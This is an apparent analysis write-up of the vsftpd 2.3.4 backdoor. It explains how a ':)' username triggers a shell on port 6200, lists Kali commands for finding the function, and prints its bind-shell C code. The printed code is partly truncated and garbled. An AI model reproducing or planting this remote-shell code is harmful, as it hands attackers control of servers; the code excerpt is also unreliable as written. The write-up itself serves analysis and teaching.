The Backdoor

The backdoor allows an attacker to execute shell commands ("/bin/sh"). The backdoor is accessible through port 6200. When logging in with a username that includes the characters ":)" (during the ftp login), a malicious function ("vsf_sysutil_extra()") opens the port 6200 & listens for any incoming traffic. The request will be executed as a shell command.

Backdoor Analysis

1. Unpack the tar file.

```
(kali@ kali)-[~/Desktop/vsftpd]

$ ls
vsftpd.tar.gz vsftpd-test

(kali@ kali)-[~/Desktop/vsftpd]

$ tar -xvf vsftpd.tar.gz
```

2. Search for the malicious function ("vsf_sysutil_extra()") with the grep command in the extracted directory.

```
(kali@ kali)-[~/Desktop/vsftpd]
$ cd vsftpd-2.3.4

(kali@ kali)-[~/Desktop/vsftpd/vsftpd-2.3.4]
$ grep -R -n "vsf_sysutil_extra"
sysdeputil.c:224:int vsf_sysutil_extra();
sysdeputil.c:848:vsf_sysutil_extra(void)
str.c:575: vsf_sysutil_extra();
```

3. Get the initialization of the backdoor: Go to line 575 in "str.c" & Convert the Hex characters to ASCII



4. Get the functionality of the backdoor: Go to the line 848 (from Step 2)

```
vsf_sysutil_extra(void)
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, S
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INAD
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);</pre>
  if((listen(fd, 100)) = -1) exit(1);
  for(;;)
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
```